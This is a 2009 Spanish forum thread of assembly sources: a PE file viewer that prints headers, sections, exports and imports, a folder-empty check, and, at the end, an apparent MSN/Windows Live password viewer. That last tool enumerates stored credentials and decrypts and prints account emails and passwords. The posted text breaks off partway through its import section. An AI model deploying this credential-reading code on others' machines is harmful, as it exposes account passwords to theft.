invoke printf,"%s",Espacio

invoke printf,"%s","SizeOfImage: "
invoke printf,"0x%x",dword[esi+50h]
invoke printf,"%s",Espacio
  invoke printf,"%s","SizeOfHeaders : "
invoke printf,"0x%x",dword[esi+54h]
invoke printf,"%s",Espacio
   invoke printf,"%s","CheckSum : "
invoke printf,"0x%x",dword[esi+58h]
invoke printf,"%s",Espacio
invoke printf,"%s","Subsystem: "
.if dword[esi+5Ch] = 2h
invoke printf,"%s","Windows GUI"
.else
  invoke printf,"%s","Windows CUI"
  .endif
    invoke printf,"%s",Espacio

     invoke printf,"%s","Posicion de el EOF: "
  stdcall EOFExtraDataExtract,[FHandle]
invoke printf,"0x%x",eax
   invoke printf,"%s",Espacio
invoke printf,"%s",Espacio
   invoke printf,"         SECTION'S         "
invoke printf,"%s",Espacio
   invoke printf,"%s",Espacio
      invoke printf,"%s","Numero de secciones: "
      invoke printf,"0x%x",ebx
      invoke printf,"%s",Espacio
   invoke printf,"%s",Espacio
.bucle:
dec ebx
mov eax,28h
mul ebx
add eax,0xf8
add eax,esi
mov edi,eax
invoke printf,"Name: "
invoke printf,"%s",edi
invoke printf,"%s",Espacio
invoke printf,"virtual address: "
invoke printf,"0x%x",dword[edi+0ch]
invoke printf,"%s",Espacio
invoke printf,"VirtualSize : "
invoke printf,"0x%x",dword[edi+08h]
invoke printf,"%s",Espacio
invoke printf,"SizeOfRawData: "
invoke printf,"0x%x",dword[edi+10h]
invoke printf,"%s",Espacio
invoke printf,"pointerToRawData : "
invoke printf,"0x%x",dword[edi+14h]
invoke printf,"%s",Espacio
invoke printf,"Characteristics : "
invoke printf,"0x%x",dword[edi+24h]
invoke printf,"%s",Espacio
invoke printf,"%s",Espacio
invoke printf,"%s",Espacio

cmp ebx,0
jne .bucle

mov eax,[FHandle]
add eax,dword[eax+3ch]
.if dword[eax+78h]  = 0
.else
   invoke printf,"         EXPORT         "
invoke printf,"%s",Espacio
   invoke printf,"%s",Espacio
stdcall ListarFunciones,[FHandle]
.endif
;ListarImport
invoke printf,"     Import's "
invoke printf,Espacio
invoke printf,Espacio
mov eax,[FHandle]
add eax,dword[eax+3ch]
.if dword[eax+80h]  = 0
invoke printf,"No incluye librerias ( .dll ) ."
.else
stdcall ListarImport ,[FHandle]
.endif
pop ebx esi   edi
ret
.error:
invoke printf,"Ingrese un archivo valido."
pop ebx esi   edi
ret
endp
proc EOFExtraDataExtract,FHandle
push esi  ebx
mov eax,[FHandle]
mov esi,dword[eax+03ch] ;Offset to start of PE header
add esi,eax
movzx ebx, word[esi+06h] ;Number Of Sections
dec ebx
mov eax,28h
mul ebx
add esi,0xf8 ;START OF SECTION TABLE
add esi,eax
mov eax,dword[esi+10h] ;SizeOfRawData
add eax,dword[esi+14h]  ;pointerToRawData
pop ebx esi
ret
endp
proc ListarFunciones,LibHandle
locals
DirPEHeader dd ?
PunteroPEHeader dd ?
RVAofExportDirectory   dd ?
NumberOfNames dd ?
AddressOfNames dd ?
endl
push ebx  edx  edi  ecx
mov eax,[LibHandle]
cmp eax,NULL
je .Error
push dword[eax + 03Ch]
pop  [DirPEHeader]
push [DirPEHeader]
pop [PunteroPEHeader]
add  [PunteroPEHeader],eax
mov ebx,[PunteroPEHeader]
cmp word[ebx],"PE"
jne .Error
push dword[ebx+078h]
pop [RVAofExportDirectory]
mov ebx, [RVAofExportDirectory]
add ebx,eax
push dword[ebx+018h]
pop [NumberOfNames]
mov edx,[NumberOfNames]
push dword[ebx+20h]
pop [AddressOfNames]
mov ebx,[NumberOfNames]
invoke printf,"%s" ,"Cantidad de funciones exportadas: "
invoke printf,"%d",[NumberOfNames]
  invoke printf,Espacio
    invoke printf,Espacio
        invoke printf,"Funciones exportadas: "
            invoke printf,Espacio
mov        edi, [AddressOfNames]
    add        edi,[LibHandle]
.bucle:
dec ebx
mov        eax, [edi + ebx * 4]
add eax,[LibHandle]
invoke printf,"-%s",eax
  invoke printf,Espacio
  cmp ebx,0
  jne .bucle
pop  ecx edi edx ebx
ret
.Error:
ret
endp
proc ListarImport,FHandle
push eax ebx edi
mov ebx,[FHandle]
add ebx,dword[ebx+03ch]
mov ebx,dword[ebx+80h]
add ebx,[FHandle]
xor edi,edi
.bucle:
mov eax,dword[ebx+0ch]
add eax,[FHandle]
.if eax = [FHandle]
invoke printf,"Cantidad de librerias importadas: %d",edi
invoke printf,Espacio
ret
.else
inc edi
invoke printf,"%s",eax
invoke printf,Espacio
.endif
add ebx,14h
jmp .bucle
pop edi ebx eax
ret
endp

.end start
Título: Re: Pequeño visor PE
Publicado por: YST en 6 Abril 2009, 18:22 PM
Actualizado ;D

Ahora estoy haciendo para que ponga las funciones importadas , si alguien tiene alguna idea que se le puede agregar la puede decir.
Título: Re: Pequeño visor PE
Publicado por: Amerikano|Cls en 6 Abril 2009, 18:53 PM
Muy bueno lo que andas haciendo con este asm, sigue así  :)
Título: Re: Pequeño visor PE
Publicado por: YST en 6 Abril 2009, 19:56 PM
Cita de: AmeRiK@nO en  6 Abril 2009, 18:53 PM
Muy bueno lo que andas haciendo con este asm, sigue así  :)

Muchas gracias :D , en unos minutos pasare el code en limpio.
Título: Re: Pequeño visor PE
Publicado por: YST en 6 Abril 2009, 23:07 PM
Ordenando el codigo de a poco.

Código (asm) [Seleccionar]

format pe console
include 'win32ax.inc'
.data
Espacio equ 13,10,0   ;Para pasar a una nueva linea.
RutaArchivo rb MAX_PATH   ;Variable para guardar la ruta de el archivo
PunteroPEheader dd ? ; Puntero de el Pe header
Logo db '                      ===================================',13,10          ; LOGO PRINCIPAL
     db '                      =         PE visor by YST         =',13,10
     db '                      ===================================',13,10,0

LogoGeneral db '                      ===================================',13,10          ; LOGO GENERAL
            db '                      =           General               =',13,10
            db '                      ===================================',13,10,0

LogoSecciones db '                      ===================================',13,10
              db '                      =           Secciones             =',13,10     ;LOGO DE INFO DE LAS SECCIONES
              db '                      ===================================',13,10,0

LogoExport    db '                      ===================================',13,10
              db '                      =           Export data           =',13,10     ;LOGO DE INFO DE el Export data
              db '                      ===================================',13,10,0
FHandle dd ?  ; MZ de el archivo
.code
start:
invoke system,"color 3" ;Ponemos el color de texto
invoke printf,Logo      ;Imprimimos el logo
invoke printf,Espacio   ;Ponemos dos nuevas lineas.
invoke printf,Espacio

invoke printf,"Inserte la ruta de el archivo a examinar:"   ; Preguntamos el archivo
invoke printf,Espacio
invoke scanf,"%s",RutaArchivo  ;Obtenemos la ruta de el archivo

invoke LoadLibrary,RutaArchivo ;Cargamos el archivo
.if eax = 0     ; Si hay error
invoke printf,"Hubo un error al cargar el archivo." ;Mostramos el error .
invoke ExitProcess,0 ; Nos salimos.
.else ; De lo contrario
.if  word[eax] = "MZ" ; Si los primeros 2 bytes son igual a MZ
mov [FHandle],eax      ; Guardamos el MZ en FHandle
.else  ; De lo contrario
invoke printf,"Ingrese un archivo valido." ;Mostramos el error .
invoke ExitProcess,0 ; Nos salimos.
.endif ; Terminamos los if
.endif

add eax,dword[eax+03ch] ; Guardamos en eax la direccion de el PE header
.if  word[eax] = "PE" ; Si los primeros 2 bytes son igual a PE
mov [PunteroPEheader],eax      ; Guardamos el puntero de el PE header en PunteroPEheader
.else  ; De lo contrario
invoke printf,"No se a detectado PE header." ;Mostramos el error .
invoke ExitProcess,0 ; Nos salimos.
.endif ; Terminamos los if
.endif

invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,LogoGeneral ;Imprimimos el logo de la informacion general.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.

mov ebx,[FHandle]
mov ebx,dword[ebx+03ch]
invoke printf,"La posicion de el PE header es : 0x%x" ,ebx    ;Mostramos la direccion de el PE header
invoke printf,Espacio ; Pasamos a la siguiente linea.

add ebx,[FHandle]; Le sumamos a la posicion de el PE header el MZ para pasar a el puntero de el PE header
invoke printf,"TimeDateStamp: 0x%x " ,dword[ebx+08h] ; Imprimimo el TimeDateStamp
invoke printf,Espacio ; Pasamos a la siguiente linea.



invoke printf,"SizeOfCode: 0x%x " ,dword[ebx+1ch] ; Imprimimo el SizeOfCode
invoke printf,Espacio ; Pasamos a la siguiente linea.


invoke printf,"AddressOfEntrPoint: 0x%x " ,dword[ebx+28h] ; Imprimimo el AddressOfEntrPoint
invoke printf,Espacio ; Pasamos a la siguiente linea.


invoke printf,"ImageBase: 0x%x " ,dword[ebx+34h] ; Imprimimo el ImageBase
invoke printf,Espacio ; Pasamos a la siguiente linea.


invoke printf,"SizeOfImage: 0x%x " ,dword[ebx+50h] ; Imprimimo el SizeOfImage
invoke printf,Espacio ; Pasamos a la siguiente linea.

invoke printf,"SizeOfHeaders: 0x%x " ,dword[ebx+54h] ; Imprimimo el SizeOfHeaders
invoke printf,Espacio ; Pasamos a la siguiente linea.


invoke printf,"CheckSum: 0x%x " ,dword[ebx+58h] ; Imprimimo el CheckSum
invoke printf,Espacio ; Pasamos a la siguiente linea.

invoke printf,"Subsystem: "       ;Imprimimos el Subsystem
.if dword[ebx+5Ch] = 2h  ;SI es GUI
invoke printf,"Windows GUI"    ; Imprimimos   Windows GUI
.else             ; De lo contrario es CUI (Consola)
invoke printf,"Windows CUI"  ; Imprimimos   Windows CUI
.endif        ;Terminamos el if
invoke printf,Espacio ; Pasamos a la siguiente linea.
stdcall EOFExtraDataExtract,[FHandle]
invoke printf,"Posicion de el EOF: 0x%x",eax       ;Imprimimos la posicion de el EOF
invoke printf,Espacio ; Pasamos a la siguiente linea.

invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,LogoSecciones ;Imprimimos el logo de la informacion de las secciones.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.

mov esi,[PunteroPEheader]      ;Movemos el puntero de el PE Header a esi.
movzx ebx,word[esi+06h]  ; Guardamos la cantidad de secciones en ebx.



invoke printf,"Numero de secciones: %d",ebx   ;Imprimimos la cantidad de secciones.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.

.bucleImprimeSecciones: ; Bucle que imprime secciones
dec ebx    ;Les restamos uno a ebx
mov eax,28h       ;Hacemos que eax sea igual a $28
mul ebx           ;Multiplicamos ebx
add eax,0xf8      ;Le sumamos $F8 ( $F8 = START OF SECTION TABLE )
add eax,esi       ;Le agregamos al resultado de la multiplicacion el puntero de el PE header
mov edi,eax       ;Guardamos eax en edi
invoke printf,"Name: %s",edi  ;Imprimimos el nombre de la sección.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"virtual address: 0x%x",dword[edi+0ch]  ;Imprimimos el virtual address
invoke printf,Espacio  ; Pasamos a la siguiente linea
invoke printf,"VirtualSize: 0x%x",dword[edi+08h]        ;Imprimimos el VirtualSize
invoke printf,Espacio  ; Pasamos a la siguiente linea
invoke printf,"SizeOfRawData: 0x%x",dword[edi+10h] ;  Imprimimos el SizeOfRawData
invoke printf,Espacio  ; Pasamos a la siguiente linea
invoke printf,"pointerToRawData : 0x%x",dword[edi+14h]   ;Imprimimos el pointerToRawData
invoke printf,Espacio  ; Pasamos a la siguiente linea
invoke printf,"Characteristics: 0x%x",dword[edi+24h] ;Imprimimos las Characteristics
invoke printf,Espacio  ; Pasamos a la siguiente linea
invoke printf,Espacio  ; Pasamos a la siguiente linea
invoke printf,Espacio  ; Pasamos a la siguiente linea

cmp ebx,0
jne .bucleImprimeSecciones   ; Si no se an imprimido todas las secciones saltamos a lña etiqueta .bucleImprimeSecciones .

invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,LogoExport   ;Imprimimos el logo de la informacion de el export data.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.

.if dword[esi+078h] = 0    ; Si no hay export data
invoke printf,"No se exporta ninguna funcion."
invoke printf,Espacio ; Pasamos a la siguiente linea.
.else
mov ebx,dword[esi+078h]
add ebx,[FHandle]
invoke printf,"Cantidad de funciones exportadas: %d",dword[ebx+18h]    ;Imprimimo la cantidad de funciones exportadas.
invoke printf,Espacio ; Pasamos a la siguiente linea.          +
mov edi,dword[ebx+20h]   ;AddressOfNames
add edi,[FHandle]
mov ebx,dword[ebx+18h]   ;Numero de exports
invoke printf,"Funciones exportadas: "
  invoke printf,Espacio
.bucleExportData:           ;Bucle para imprimir la export data
dec ebx
mov        eax, [edi + ebx * 4]
add eax,[FHandle]
invoke printf,"-%s",eax
  invoke printf,Espacio
  cmp ebx,0
  jne .bucleExportData  ;Si no se an imprimido todas seguimos
.endif

invoke system,"pause"
invoke ExitProcess,0

proc EOFExtraDataExtract,FHandle ;Funcion para extraer el EOF
push esi  ebx
mov eax,[FHandle]
mov esi,dword[eax+03ch] ;Offset to start of PE header
add esi,eax
movzx ebx, word[esi+06h] ;Number Of Sections
dec ebx
mov eax,28h
mul ebx
add esi,0xf8 ;START OF SECTION TABLE
add esi,eax
mov eax,dword[esi+10h] ;SizeOfRawData
add eax,dword[esi+14h]  ;pointerToRawData
pop ebx esi
ret
endp


.end start
section '.reloc' fixups data discardable
Título: Re: Pequeño visor PE
Publicado por: YST en 22 Abril 2009, 07:01 AM
Se actualiza el visor pe , ahora listando el import data  ;)
Código (asm) [Seleccionar]

format pe console
include 'win32ax.inc'
.data
Espacio equ 13,10,0   ;Para pasar a una nueva linea.
RutaArchivo rb MAX_PATH   ;Variable para guardar la ruta de el archivo
PunteroPEheader dd ? ; Puntero de el Pe header
Logo db '                      ===================================',13,10          ; LOGO PRINCIPAL
     db '                      =         PE visor by YST         =',13,10
     db '                      ===================================',13,10,0

LogoGeneral db '                      ===================================',13,10          ; LOGO GENERAL
            db '                      =           General               =',13,10
            db '                      ===================================',13,10,0

LogoSecciones db '                      ===================================',13,10
              db '                      =           Secciones             =',13,10     ;LOGO DE INFO DE LAS SECCIONES
              db '                      ===================================',13,10,0

LogoExport    db '                      ===================================',13,10
              db '                      =           Export data           =',13,10     ;LOGO DE INFO DE el Export data
              db '                      ===================================',13,10,0
LogoImport    db '                      ===================================',13,10
              db '                      =           Import data           =',13,10     ;LOGO DE INFO DE el import data
              db '                      ===================================',13,10,0
FHandle dd ?  ; MZ de el archivo
.code
start:
invoke system,"color 3" ;Ponemos el color de texto
invoke printf,Logo      ;Imprimimos el logo
invoke printf,Espacio   ;Ponemos dos nuevas lineas.
invoke printf,Espacio

invoke printf,"Inserte la ruta de el archivo a examinar:"   ; Preguntamos el archivo
invoke printf,Espacio
invoke scanf,"%s",RutaArchivo  ;Obtenemos la ruta de el archivo

invoke LoadLibrary,RutaArchivo ;Cargamos el archivo
.if eax = 0     ; Si hay error
invoke printf,"Hubo un error al cargar el archivo:" ;Mostramos el error .
invoke printf,RutaArchivo
invoke ExitProcess,0 ; Nos salimos.
.else ; De lo contrario
.if  word[eax] = "MZ" ; Si los primeros 2 bytes son igual a MZ
mov [FHandle],eax      ; Guardamos el MZ en FHandle
.else  ; De lo contrario
invoke printf,"Ingrese un archivo valido." ;Mostramos el error .
invoke ExitProcess,0 ; Nos salimos.
.endif ; Terminamos los if
.endif

add eax,dword[eax+03ch] ; Guardamos en eax la direccion de el PE header
.if  word[eax] = "PE" ; Si los primeros 2 bytes son igual a PE
mov [PunteroPEheader],eax      ; Guardamos el puntero de el PE header en PunteroPEheader
.else  ; De lo contrario
invoke printf,"No se a detectado PE header." ;Mostramos el error .
invoke ExitProcess,0 ; Nos salimos.
.endif ; Terminamos los if
.endif

invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,LogoGeneral ;Imprimimos el logo de la informacion general.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.

mov ebx,[FHandle]
mov ebx,dword[ebx+03ch]
invoke printf,"La posicion de el PE header es : 0x%x" ,ebx    ;Mostramos la direccion de el PE header
invoke printf,Espacio ; Pasamos a la siguiente linea.

add ebx,[FHandle]; Le sumamos a la posicion de el PE header el MZ para pasar a el puntero de el PE header
invoke printf,"TimeDateStamp: 0x%x " ,dword[ebx+08h] ; Imprimimo el TimeDateStamp
invoke printf,Espacio ; Pasamos a la siguiente linea.



invoke printf,"SizeOfCode: 0x%x " ,dword[ebx+1ch] ; Imprimimo el SizeOfCode
invoke printf,Espacio ; Pasamos a la siguiente linea.


invoke printf,"AddressOfEntrPoint: 0x%x " ,dword[ebx+28h] ; Imprimimo el AddressOfEntrPoint
invoke printf,Espacio ; Pasamos a la siguiente linea.


invoke printf,"ImageBase: 0x%x " ,dword[ebx+34h] ; Imprimimo el ImageBase
invoke printf,Espacio ; Pasamos a la siguiente linea.


invoke printf,"SizeOfImage: 0x%x " ,dword[ebx+50h] ; Imprimimo el SizeOfImage
invoke printf,Espacio ; Pasamos a la siguiente linea.

invoke printf,"SizeOfHeaders: 0x%x " ,dword[ebx+54h] ; Imprimimo el SizeOfHeaders
invoke printf,Espacio ; Pasamos a la siguiente linea.


invoke printf,"CheckSum: 0x%x " ,dword[ebx+58h] ; Imprimimo el CheckSum
invoke printf,Espacio ; Pasamos a la siguiente linea.

invoke printf,"Subsystem: "       ;Imprimimos el Subsystem
.if dword[ebx+5Ch] = 2h  ;SI es GUI
invoke printf,"Windows GUI"    ; Imprimimos   Windows GUI
.else             ; De lo contrario es CUI (Consola)
invoke printf,"Windows CUI"  ; Imprimimos   Windows CUI
.endif        ;Terminamos el if
invoke printf,Espacio ; Pasamos a la siguiente linea.
stdcall EOFExtraDataExtract,[FHandle]
invoke printf,"Posicion de el EOF: 0x%x",eax       ;Imprimimos la posicion de el EOF
invoke printf,Espacio ; Pasamos a la siguiente linea.

invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,LogoSecciones ;Imprimimos el logo de la informacion de las secciones.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.

mov esi,[PunteroPEheader]      ;Movemos el puntero de el PE Header a esi.
movzx ebx,word[esi+06h]  ; Guardamos la cantidad de secciones en ebx.



invoke printf,"Numero de secciones: %d",ebx   ;Imprimimos la cantidad de secciones.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.

.bucleImprimeSecciones: ; Bucle que imprime secciones
dec ebx    ;Les restamos uno a ebx
mov eax,28h       ;Hacemos que eax sea igual a $28
mul ebx           ;Multiplicamos ebx
add eax,0xf8      ;Le sumamos $F8 ( $F8 = START OF SECTION TABLE )
add eax,esi       ;Le agregamos al resultado de la multiplicacion el puntero de el PE header
mov edi,eax       ;Guardamos eax en edi
invoke printf,"Name: %s",edi  ;Imprimimos el nombre de la sección.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,"virtual address: 0x%x",dword[edi+0ch]  ;Imprimimos el virtual address
invoke printf,Espacio  ; Pasamos a la siguiente linea
invoke printf,"VirtualSize: 0x%x",dword[edi+08h]        ;Imprimimos el VirtualSize
invoke printf,Espacio  ; Pasamos a la siguiente linea
invoke printf,"SizeOfRawData: 0x%x",dword[edi+10h] ;  Imprimimos el SizeOfRawData
invoke printf,Espacio  ; Pasamos a la siguiente linea
invoke printf,"pointerToRawData : 0x%x",dword[edi+14h]   ;Imprimimos el pointerToRawData
invoke printf,Espacio  ; Pasamos a la siguiente linea
invoke printf,"Characteristics: 0x%x",dword[edi+24h] ;Imprimimos las Characteristics
invoke printf,Espacio  ; Pasamos a la siguiente linea
invoke printf,Espacio  ; Pasamos a la siguiente linea
invoke printf,Espacio  ; Pasamos a la siguiente linea

cmp ebx,0
jne .bucleImprimeSecciones   ; Si no se an imprimido todas las secciones saltamos a lña etiqueta .bucleImprimeSecciones .

invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,LogoExport   ;Imprimimos el logo de la informacion de el export data.
invoke printf,Espacio ; Pasamos a la siguiente linea.
invoke printf,Espacio ; Pasamos a la siguiente linea.

.if dword[esi+078h] = 0    ; Si no hay export data
invoke printf,"[+]No se exporta ninguna funcion."
invoke printf,Espacio ; Pasamos a la siguiente linea.
.else
mov ebx,dword[esi+078h]
add ebx,[FHandle]
invoke printf,"Cantidad de funciones exportadas: %d",dword[ebx+18h]    ;Imprimimo la cantidad de funciones exportadas.
invoke printf,Espacio ; Pasamos a la siguiente linea.          +
mov edi,dword[ebx+20h]   ;AddressOfNames
add edi,[FHandle]
mov ebx,dword[ebx+18h]   ;Numero de exports
invoke printf,"Funciones exportadas: "
  invoke printf,Espacio
.bucleExportData:           ;Bucle para imprimir la export data
dec ebx
mov        eax, [edi + ebx * 4]
add eax,[FHandle]
invoke printf,"[+]%s",eax
  invoke printf,Espacio
  cmp ebx,0
  jne .bucleExportData  ;Si no se an imprimido todas seguimos
.endif
invoke printf,LogoImport
invoke printf,Espacio
invoke printf,Espacio
  mov eax,[PunteroPEheader]
.if  dword[eax+80h] = NULL  ;Si no importamos ninguna funcion.
invoke printf,"[+]No importa ninguna funcion."
.else;De lo contrario
stdcall Sacaimport,[FHandle]
.endif
invoke system,"pause"
invoke ExitProcess,0

proc EOFExtraDataExtract,FHandle ;Funcion para extraer el EOF
push esi  ebx
mov eax,[FHandle]
mov esi,dword[eax+03ch] ;Offset to start of PE header
add esi,eax
movzx ebx, word[esi+06h] ;Number Of Sections
dec ebx
mov eax,28h
mul ebx
add esi,0xf8 ;START OF SECTION TABLE
add esi,eax
mov eax,dword[esi+10h] ;SizeOfRawData
add eax,dword[esi+14h]  ;pointerToRawData
pop ebx esi
ret
endp
proc Sacaimport ,handle
locals
Export dd ?
endl
pushad
mov eax,[handle]
mov ebx,dword[eax+03ch]
add ebx,eax
mov ebx,dword[ebx+80h]
add ebx,eax
mov [Export],ebx
.buclelib:
mov ebx,[Export]
mov edi,dword[ebx+0ch]
cmp edi,0
je .salir
add edi,[handle]
invoke printf,"- Funciones de %s: ",edi
invoke printf,"%s",Espacio
xor esi,esi
mov esi,dword[ebx]
add esi,[handle]
mov edi,esi
xor ebx,ebx
.bucleapi:
xor esi,esi
mov esi,dword[edi+ebx]
cmp esi,0
je .otralib
add esi,[handle]
add esi,2h
invoke printf," [*]%s",esi
invoke printf,"%s",Espacio
add ebx,04h
jmp .bucleapi
.otralib:
add  [Export] ,14h
jmp .buclelib
.salir:
popad
ret
endp

.end start
section '.reloc' fixups data discardable
Título: Re: Pequeño visor PE
Publicado por: Amerikano|Cls en 22 Abril 2009, 08:07 AM
Muy bueno, si señor, será muy util este code. Gracias por el aporte  ;-).

salu2
Título: Re: Pequeño visor PE
Publicado por: YST en 22 Abril 2009, 08:16 AM
Cita de: AmeRiK@nO en 22 Abril 2009, 08:07
Muy bueno, si señor, será muy util este code. Gracias por el aporte  ;-).

salu2
jeje gracias, lo que le quiero agregar ahora es que genere logs en html , yo creo que para unas semanas mas lo tengo generando logs en html :D .
Título: Re: Pequeño visor PE
Publicado por: Amerikano|Cls en 22 Abril 2009, 08:26 AM
Cita de: YST en 22 Abril 2009, 08:16 AM
Cita de: AmeRiK@nO en 22 Abril 2009, 08:07 AM
Muy bueno, si señor, será muy util este code. Gracias por el aporte  ;-).

salu2
jeje gracias, lo que le quiero agregar ahora es que genere logs en html , yo creo que para unas semanas mas lo tengo generando logs en html :D .

Pues adelante, ademas no creo que sea tan dificil  ;)
Título: Re: Pequeño visor PE
Publicado por: YST en 22 Abril 2009, 23:15 PM
Cita de: AmeRiK@nO en 22 Abril 2009, 08:26

Cita de:  YST en 22 Abril 2009, 08:16
Cita de: AmeRiK@nO en 22 Abril 2009, 08:07Muy bueno, si señor, será muy util este code. Gracias por el aporte  ;-).

salu2
jeje gracias, lo que le quiero agregar ahora es que genere logs en html , yo creo que para unas semanas mas lo tengo generando logs en html :D .
Pues adelante, ademas no creo que sea tan dificil  ;)

Dificil no es , lo que si es es largo :xD.
Título: Re: Pequeño visor PE
Publicado por: Arkangel_0x7C5 en 23 Abril 2009, 01:53 AM
buen code, para la proxima que sera? un editor de recurso? jeje ;D

Saludos
Título: Re: Pequeño visor PE
Publicado por: YST en 23 Abril 2009, 04:06 AM
Cita de: Arcangel_0x7C5 en 23 Abril 2009, 01:53
buen code, para la proxima que sera? un editor de recurso? jeje ;D

Saludos
Ahora le estoy agregando aparte antes de hacer lo de los logs , algo que liste algunas cosas de el resource.

No estaria mal hacer un editor de resource , tal vez lo haga en un tiempo mas , pero ahora me quiero dedicar a un proyecto que en un rato mas voy a publicar para ver si alguien me ayuda.
Título: SRCs de YST.
Publicado por: YST en 23 Abril 2009, 07:10 AM
Código (asm) [Seleccionar]
include 'win32ax.inc'

.code
start:

stdcall CapetaVaciaOUnidad,"F:"

.if eax = TRUE
invoke MessageBox,0,"La carpeta esta vacia",0,0
.else
invoke MessageBox,0,"La carpeta no esta vacia",0,0
.endif

invoke ExitProcess,0

proc CapetaVaciaOUnidad,ruta
locals
Find  WIN32_FIND_DATA    ?
HandleBusqueda dd ?
Ruta dd ?
endl

push ebx

invoke GlobalAlloc,GPTR,MAX_PATH+1
mov [Ruta],eax
stdcall Concat,[ruta],"\*", [Ruta]
invoke FindFirstFile,[Ruta] , addr Find
mov [HandleBusqueda],eax
invoke FindNextFile ,eax, addr Find
invoke lstrcpy,[Ruta],addr Find.cFileName
mov ebx,[Ruta]

.if word[ebx] = ".."
invoke FindNextFile, [HandleBusqueda], addr Find
.endif
invoke lstrcpy,[Ruta],addr Find.cFileName
mov ebx,[Ruta]
.if word[ebx] = ".."

invoke GlobalFree,[Ruta]
mov eax,TRUE
.else
.if dword[ebx] = "RECY"
.if dword[ebx+4] = "CLER"
invoke GlobalFree,[Ruta]
mov eax,TRUE
.endif
.else
invoke GlobalFree,[Ruta]
mov eax,FALSE
.endif
.endif
.endif
pop ebx

ret
endp

proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest

    mov esi,[@AdrSrc1]
    mov edi,[@AdrDest]

.concat_src1:
    movsb
    cmp byte[esi],0
    jne .concat_src1

    mov esi,[@AdrSrc2]

.concat_src2:
    movsb
    cmp byte[esi],0
    jne .concat_src2

    movsb

    ret
endp
.end start
Título: Re: Saber si una carpeta esta vacia [ASM].
Publicado por: Karcrack en 23 Abril 2009, 15:32 PM
Código (vb) [Seleccionar]
Private Declare Function PathIsDirectoryEmpty Lib "shlwapi.dll" Alias "PathIsDirectoryEmptyA" (ByVal pszPath As String) As Long

Ya existe una API que hace eso :P
Título: Re: Saber si una carpeta esta vacia [ASM].
Publicado por: YST en 23 Abril 2009, 18:56 PM
Ahora que veo el post de el source que traduci , Leandro puse esa api :xD :xD :xD :xD , nunca hay que traducir un codigo a las 2:30 am por lo visto :xD.

Edit:

Ahora mi source supera a la api  ::) ya que en unidades exxtraibles ( probado en XP ) , aunque esta estubiera vacia la api me la detectaba como que no lo estaba , al igual que mi primer source  ;D
Título: Re: Saber si una carpeta esta vacia [ASM].
Publicado por: Karcrack en 23 Abril 2009, 21:24 PM
Esto no comprueba si una Unidad esta vacia, solo lo hace con Carpetas :P
Título: SRCs de YST.
Publicado por: YST en 30 Abril 2009, 00:50 AM
Código (asm) [Seleccionar]
Espacio equ 13,10
format pe console
include 'win32ax.inc'
entry start
.data
Logo db '         =====================================================',13,10
     db '         = Humilde Visor de claves de el msn 0.1v by YST     =',13,10
     db '         =====================================================',13,10,0
lCount dd ?
lCred dd ?
struct DATA_BLOB
    cbData                 dd ?
    pbData                 dd ?
ends
tBlobOut   DATA_BLOB
tBlobIn     DATA_BLOB
lmem dd ?
acento rb 3
.code
start:
invoke system,"color 03"
invoke printf,Logo
invoke printf,Espacio
invoke printf,Espacio
invoke CredEnumerate,"WindowsLive:name=*", 0, lCount,lCred
.if [lCount] = 0

invoke printf,"%s","Ninguna cuenta encontrada."
jmp salir
.else
mov ebx, [lCred]
.bucle:
dec [lCount]
mov eax, dword[ebx]
mov edi,dword[eax+8]
mov edx,dword[eax+24]
mov esi,dword[eax+28]

mov  [tBlobIn.cbData],edx
     mov  [tBlobIn.pbData] ,esi
   invoke CryptUnprotectData,tBlobIn, $0, $0, $0, $0, $1, tBlobOut
   .if     [tBlobIn.cbData] = 0
   mov eax, dword[ebx]
mov eax,dword[eax+48]
invoke printf,"Mail: %s",eax
invoke printf,Espacio
invoke printf,Espacio
   .else

   invoke LocalAlloc,GPTR,[tBlobIn.cbData];           
mov [lmem],eax
stdcall UniToAscii ,[lmem], [tBlobIn.pbData]
   invoke printf,"%s","Mail: "
   mov eax, dword[ebx]
mov eax,dword[eax+48]
invoke printf,"%s",eax
invoke printf,Espacio
invoke CharToOem,"ñ",acento
invoke printf,"Contrase"
invoke printf ,"%s",acento
invoke printf, "a: %s",[lmem]
invoke printf,Espacio
invoke printf,Espacio
invoke LocalFree,[lmem]
.endif

.if [lCount] = 0
.else
add ebx,4
jmp .bucle
.endif

.endif
salir:
invoke ExitProcess,0
proc UniToAscii, ascii, unicode
push esi
push edi
  mov esi, [unicode]
  mov edi, [ascii]
  .count:
  .if byte[esi] <> 0
      movsb
      jmp .count
  .endif
  inc esi
  .if byte[esi] = 0
      jmp .exit
  .endif
  jmp .count
  .exit:

  mov eax, edi
  add eax, 2
pop edi
pop esi
  ret
endp
   section '.idata' import data readable writeable
   library kernel32,'kernel32.dll',crypt32,"crypt32.dll",user32,'user32.dll',advapi32,'advapi32.dll',msvcrt,'msvcrt.dll'
   include 'api/kernel32.inc'
  import crypt32,CryptUnprotectData,"CryptUnprotectData"

import advapi32,\
